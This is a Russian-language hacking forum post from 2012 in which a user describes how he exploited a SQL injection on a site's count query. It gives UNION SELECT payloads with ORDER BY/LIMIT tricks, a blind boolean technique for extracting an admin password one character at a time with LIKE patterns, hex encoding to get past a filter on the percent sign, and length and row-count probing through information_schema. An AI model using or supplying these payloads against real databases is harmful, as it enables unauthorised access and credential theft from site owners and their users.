Показать сообщение отдельно

  #6  
Старый 09.11.2012, 17:36
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

Получилось раскрутить.

Часть 1:

Мы используем запрос такого синтаксиса:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]SELECT count[/COLOR][COLOR="#007700"](*) AS[/COLOR][COLOR="#0000BB"]total FROM dpt_os WHERE status[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]AND[/COLOR][COLOR="#0000BB"]ID[/COLOR][COLOR="#007700"]= -[/COLOR][COLOR="#0000BB"]165 UNION SELECT 222[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]total FROM[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]test[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]ORDER BY total DESC LIMIT 1

[/COLOR][/COLOR
И из-за Order-by значение 222 становится первым, а второе обрезается лимитом. -165 - Заведомо несуществующее значение.

Часть 2:

Мы начинаем крутить инъекцию:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]SELECT count[/COLOR][COLOR="#007700"](*) AS[/COLOR][COLOR="#0000BB"]total FROM dpt_os WHERE status[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]AND[/COLOR][COLOR="#0000BB"]ID[/COLOR][COLOR="#007700"]= -[/COLOR][COLOR="#0000BB"]165 UNION SELECT 1[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]total FROM[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]users[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]WHERE[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]login[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]like[/COLOR][COLOR="#DD0000"]'admin'[/COLOR][COLOR="#007700"]and `[/COLOR][COLOR="#DD0000"]pass[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]like[/COLOR][COLOR="#DD0000"]'1%'[/COLOR][COLOR="#0000BB"]ORDER BY total DESC LIMIT 1

[/COLOR][/COLOR
И таким образом, если первый символ пароля 1, запрос возвратит 1, иначе ничего и мы спокойно крутим инъекцию. Желательно использовать POST/Куки, заместо ORDER BY можно использовать LIMIT 1, 2. Запятые в запросе тоже не используются.

Из-за фильтрации процента, мы переводим '1%' в 0x3125 используя HEX. Онлайн-конвертер: http://home.paulschou.net/tools/xlate/

UDP:

Так-же мы можем подбирать длину - LIKE '_%'. Кол-во записей в таблице можно получить используя:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]SELECT TABLE_ROWS FROM[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]information_schema[/COLOR][COLOR="#007700"]`.`[/COLOR][COLOR="#DD0000"]TABLES[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]WHERE TABLE_NAME LIKE[/COLOR][COLOR="#DD0000"]'admin'[/COLOR][/COLOR
Если доступа к information_schema нет, мы можем использовать LIMIT. REGEXP Тоже может помочь.
 
Ответить с цитированием